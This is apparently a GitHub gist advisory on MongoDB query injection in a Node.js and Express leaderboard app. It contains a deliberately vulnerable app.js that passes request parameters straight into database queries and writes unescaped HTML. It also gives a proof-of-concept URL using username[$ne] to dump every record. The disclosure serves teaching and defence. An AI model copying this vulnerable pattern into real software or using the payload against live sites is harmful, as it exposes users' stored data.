Skip to content

Instantly share code, notes, and snippets.

@mchow01
Last active December 12, 2021 23:27
Show Gist options
  • Save mchow01/49f8979829f1c488d922 to your computer and use it in GitHub Desktop.
Save mchow01/49f8979829f1c488d922 to your computer and use it in GitHub Desktop.
MongoDB Request Injection Attack in Node.js + Express Web Applications
Overview
========
Students in my Web Programming class (G. Brown, S. Prassad, et al)
discovered that MongoDB request injection attacks also work on Node.js
+ Express web applications. MongoDB request injection attacks have
been known for PHP web applications.
Impact
======
Attacker can view and download all the data in a MongoDB database
collection.
Affects
=======
Node.js + Express web applications
Additional Background Information and References
================================================
* http://docs.mongodb.org/manual/reference/operator/query/ne/
* http://www.acunetix.com/vulnerabilities/vulnerability/MongoDB_injection
* http://www.slideshare.net/wurbanski/nosql-no-security
* https://www.youtube.com/watch?v=lcO1BTNh8r8
* http://pastebin.com/JV15vA6K (FireEye vulnerabilities)
Example Vulnerable Node.js + Express Web Application
====================================================
File 1: package.json
====================
{
"name": "2048-gamecenter",
"version": "0.1.1",
"dependencies": {
"express": "latest",
"mongodb": "latest",
"body-parser": "latest"
}
}
File 2: app.js
==============
// Express initialization
var express = require('express');
var bodyParser = require('body-parser');
var app = express();
app.use(bodyParser());
app.set('title', '2048 Game Center');
// Mongo initialization
var mongoUri = process.env.MONGOLAB_URI || process.env.MONGOHQ_URL ||
'mongodb://localhost/2048';
var mongo = require('mongodb');
var db = mongo.Db.connect(mongoUri, function(error, databaseConnection) {
db = databaseConnection;
});
app.get('/', function(request, response) {
response.set('Content-Type', 'text/html');
var indexPage = '';
db.collection('scores', function(er, collection) {
collection.find().sort({
score: -1
}).limit(100).toArray(function(err, cursor) {
if (!err) {
indexPage += "<!DOCTYPE HTML><html><head><title>2048 Game
Center</title></head><body><h1>2048 Game
Center</h1><table><tr><th>User</th><th>Score</th><th>Timestamp</th></tr>";
for (var count = 0; count < cursor.length; count++) {
indexPage += "<tr><td>" + cursor[count].username +
"</td><td>" + cursor[count].score + "</td><td>" +
cursor[count].created_at + "</td></tr>";
}
indexPage += "</table></body></html>"
response.send(indexPage);
} else {
response.send('<!DOCTYPE
HTML><html><head><title>ScoreCenter</title></head><body><h1>Whoops,
something went terribly wrong!</h1></body></html>');
}
});
});
});
// http://stackoverflow.com/questions/5710358/how-to-get-post-query-in-express-node-js
app.post('/submit.json', function(request, response) {
// Enabling CORS
// See http://stackoverflow.com/questions/11181546/node-js-express-cross-domain-scripting
response.header("Access-Control-Allow-Origin", "*");
response.header("Access-Control-Allow-Headers", "X-Requested-With");
var username = request.body.username;
var score = parseInt(request.body.score);
var grid = request.body.grid;
if (username != undefined && score != undefined && grid != undefined) {
var toInsert = {
"username": username,
"score": score,
"grid": grid,
"created_at": Date()
};
db.collection('scores', function(er, collection) {
var id = collection.insert(toInsert, function(err, saved) {
if (err) {
response.send(500)
} else if (!saved) {
response.send(500);
} else {
response.send(200);
}
});
});
}
else {
response.send("Data did not go through");
}
});
app.get('/scores.json', function(request, response) {
// Enabling CORS
// See http://stackoverflow.com/questions/11181546/node-js-express-cross-domain-scripting
response.header("Access-Control-Allow-Origin", "*");
response.header("Access-Control-Allow-Headers", "X-Requested-With");
// http://stackoverflow.com/questions/3390396/how-to-check-for-undefined-in-javascript
var username = request.query.username;
if (request.query.username === undefined) {
response.send("[]");
} else {
db.collection('scores', function(er, collection) {
collection.find({
"username": username
}).sort({
score: -1
}).limit(10).toArray(function(err, docs) {
response.send(JSON.stringify(docs));
});
});
}
});
app.listen(process.env.PORT || 5000);
To Run the Web Application Locally
===================================
Assume that Node.js and MongoDB are installed, and mongod is running
1. mkdir webapp;
2. Put app.js and package.json files into the folder "webapp"
3. cd webapp;
3. npm install; // Installs all required Node modules
4. node app.js; // Run web application
Add some data:
curl -d "username=mchow&score=10&grid={}" http://localhost:5000/submit.json;
curl -d "username=bobo&score=20&grid={}" http://localhost:5000/submit.json;
curl -d "username=poo&score=30&grid={}" http://localhost:5000/submit.json;
Proof-of-Concept
================
1. To return all data belonging to a specific username (e.g.,
mchow), go to: http://localhost:5000/scores.json?username=mchow (on a
web browser)
2. To return all the other data, go to
http://localhost:5000/scores.json?username[$ne]=mchow (on a web
browser). Notice the [$ne] in the query, now an associative array
that will change the query to return all data where the username is
*not equal* to mchow!
Remediation
===========
Check and sanitize all GET and POST parameters.
@SorinGFS
Copy link

This is not an injection but it's exactly how it's supposed to work! Just because you built an app without any kind of access control it doesn't mean that mongoDb is vulnerable!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment